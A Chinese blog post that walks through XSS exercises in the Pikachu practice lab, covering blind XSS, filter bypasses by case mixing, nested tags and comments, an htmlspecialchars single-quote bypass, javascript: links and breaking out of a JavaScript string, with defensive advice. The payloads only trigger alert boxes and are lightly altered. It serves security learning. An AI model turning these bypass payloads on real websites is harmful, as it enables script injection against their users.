XSS盲打,绕过,htmlspecialchar以及href js输出点

XSS盲打,绕过,htmlspecialchar以及href js输出点

一,盲打
在这里插入图片描述
我们先打开pikachu界面
我们随便输入一个字符

我们可以得到 我们输入的结果不会被输出到前端 而是被输入进后端了 管理员可看
我们使用
<1script>alert(“lalala”)<1/script>

接下来我们登录一下管理员 进入后台看一下
在这里插入图片描述
登陆后我们就被XSS 这就是盲打

二,绕过
前端限制绕过,直接抓包重放,或者修改html前端代码:

1,大小写:
<1/SCRIPT>aLeRT(111)<1/sCrIpt>

2,拼凑:
<scri<1script>pt>alert(111)</scri<1/script>pt>

3,使用注释干扰:
<1scri<1!–test–>pt>alert(111)</1sc<1!–test–>ript>

当过滤了script标签时

<img src+x οnerrοr=“alert(‘xss’)”>将alert(‘xss’)进行URL编码

这种方法不可行

想要使用必须对其编码 让浏览器可识别 并当作一个方法去执行

在这里插入图片描述

我们先输入一些特殊字符 来进行测试过滤了哪些字符

在这里插入图片描述
源码中显示script标签被过滤了 所以我们就可以采用大小写混写方式试试看
在这里插入图片描述
在这里插入图片描述
成功XSS

还可以使用
<1img src=x οnerrοr=“alert(111)”/>
在这里插入图片描述
成功XSS

三,htmlspecialchars()函数
在这里插入图片描述
在这里插入图片描述
先测试特殊字符 审查元素
在这里插入图片描述
看到htmlspecialchars对我们输入的字符进行了实体编码
我们得到 单引号 并没有被实体编码 就可以使用
q ’ οnclick=‘alert(111)’

在这里插入图片描述
成功XSS

四、href与js

XSS常见防范措施
总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字

转义:所以输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义

我们来测试一下
javascript:alert(111)
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

JS:随便输入
在这里插入图片描述
在这里插入图片描述
看到它把我们输入的内容放到了JS中去
进行逻辑判断 然后输出

我们再输入tmac
在这里插入图片描述
我们复制源码中的JS构造闭合
<1a href=‘xss’ οnclick=‘alert(1111)’ '>

<1script>
$ms=‘xss’<1/script><1script>alert(‘xss’)<1/script>’;

if($ms.length != 0){
    if($ms == 'tmac'){
        $('#fromjs').text('tmac确实厉害,看那小眼神..')
    }else {

// alert($ms);
$(’#fromjs’).text(‘无论如何不要放弃心中所爱…’)
}

}

<1/script>

所构造的闭合:
xss’</1script><1script>alert(‘xss’)</1script>’
在这里插入图片描述

成功XSS

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值